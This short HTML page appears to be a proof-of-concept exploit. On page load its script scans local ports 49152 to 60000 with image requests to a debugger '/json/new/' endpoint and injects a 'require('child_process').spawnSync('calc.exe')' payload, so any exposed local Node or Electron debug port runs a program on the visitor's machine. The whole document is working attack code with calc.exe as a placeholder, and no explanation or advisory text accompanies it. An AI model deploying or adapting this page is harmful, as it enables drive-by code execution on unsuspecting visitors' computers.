<html>
|
<head></head>
|
<body>
|
<script>
|
var port = 49152;
|
var maxport = 60000;
|
var concurrent = 128;
|
|
function nextPort()
|
{
|
var img = document.createElement('IMG');
|
img.alt = "Testing " + port + "...";
|
img.src = "http://127.0.0.1:"
|
+ port++
|
+ "/json/new/?"
|
+ "javascript:require('child_process')"
|
+ ".spawnSync('calc.exe')";
|
|
img.onload = img.onerror = function(e) {
|
document.body.removeChild(e.target);
|
nextPort();
|
}
|
|
if (port < maxport) {
|
document.body.appendChild(img);
|
}
|
}
|
|
for (i = 0; i < concurrent; i++)
|
nextPort();
|
|
</script>
|
</body>
|
</html>
|